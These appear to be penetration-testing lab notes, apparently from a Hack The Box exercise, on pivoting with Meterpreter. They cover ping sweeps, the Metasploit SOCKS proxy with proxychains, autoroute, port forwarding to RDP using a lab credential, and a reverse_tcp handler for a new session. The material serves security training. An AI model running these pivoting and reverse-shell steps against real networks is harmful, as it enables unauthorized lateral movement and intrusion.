Meterpreter Tunneling

Let’s say we have meterpreter shell on Ubuntu PivotHost.

We can create pivot through meterpreter without SSH port forwarding.

We want to interact with Windows machine that is connected to Ubuntu PivotHost

Ping Sweep

Meterpreter

meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
 
[*] Performing ping sweep for IP range 172.16.5.0/23

For loop Linux

for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
 
`time for i in $(seq 1 254); do (ping -c 1 192.168.122.${i} | grep "bytes from" &); done`

For loop CMD

for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"

PowerShell

1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}

Meterpreter Tunneling

Let’s first configure MSF’s SOCKS proxy:

msf6 > use auxiliary/server/socks_proxy
 
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
SRVPORT => 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 4a
version => 4a
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
 
[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > options
 
Module options (auxiliary/server/socks_proxy):
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  9050             yes       The port to listen on
   VERSION  4a               yes       The SOCKS version to use (Accepted: 4a,
                                        5)
 
 
Auxiliary action:
 
   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server

Above configuration starts a listener on port 9050 and routes all the traffic received via our meterpreter session.

We can confirm the proxy server running as such:

msf6 auxiliary(server/socks_proxy) > jobs
 
Jobs
====
 
  Id  Name                           Payload  Payload opts
  --  ----                           -------  ------------
  0   Auxiliary: server/socks_proxy

Now that we have initiated the SOCKS server, we will configure proxychains to route traffic generated through our pivot on the compromised Ubuntu PivotHost.

Let’s edit /etc/proxychains.conf as such:

socks4 	127.0.0.1 9050

We will now set up to route all the traffic via our meterpreter session using post/multi/manage/autoroute:

msf6 > use post/multi/manage/autoroute
 
msf6 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
SUBNET => 172.16.5.0
msf6 post(multi/manage/autoroute) > run
 
[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: linux
[*] Running module against 10.129.202.64
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.16.5.0/255.255.254.0 from host's routing table.
[*] Post module execution completed

We can confirm autoroute by checking the route being added to 172.16.5.0/23:

meterpreter > run autoroute -p
 
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
 
Active Routing Table
====================
 
   Subnet             Netmask            Gateway
   ------             -------            -------
   10.129.0.0         255.255.0.0        Session 1
   172.16.4.0         255.255.254.0      Session 1
   172.16.5.0         255.255.254.0      Session 1

Now we can use proxychains to route our nmap traffic via our Meterpreter session:

jadu101@htb[/htb]$ proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn
 
ProxyChains-3.1 (http://proxychains.sf.net)
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-03 13:40 EST
Initiating Parallel DNS resolution of 1 host. at 13:40
Completed Parallel DNS resolution of 1 host. at 13:40, 0.12s elapsed
Initiating Connect Scan at 13:40
Scanning 172.16.5.19 [1 port]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19 :3389-<><>-OK
Discovered open port 3389/tcp on 172.16.5.19
Completed Connect Scan at 13:40, 0.12s elapsed (1 total ports)
Nmap scan report for 172.16.5.19 
Host is up (0.12s latency).
 
PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
 
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds

Meterpreter Port Forwarding

We can use Metasploit’s portfwd for port forwarding.

We will set up a listener on our attacker host and request meterpreter to forward all the packets received on this port via our meterpreter sessions to a remove host.

meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19
 
[*] Local TCP relay created: :3300 <-> 172.16.5.19:3389

Above starts a listener on attacker host’s port 3300 and forward all the packets to the remote Windows server on port 3389.

So we can now execute xfreerdp on attacker host’s port 3300.

jadu101@htb[/htb]$ xfreerdp /v:localhost:3300 /u:victor /p:pass@123

Meterpreter Reverse Port Forwarding

We will start a listener on attacker host (port 8081).

Ubuntu PivotHost server will forward all requests received on port 1234 to attacker host’s port 8081.

meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18
 
[*] Local TCP relay created: 10.10.14.18:8081 <-> :1234

Or to start a new session:

meterpreter > bg
 
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 8081 
LPORT => 8081
msf6 exploit(multi/handler) > set LHOST 0.0.0.0 
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run
 
[*] Started reverse TCP handler on 0.0.0.0:8081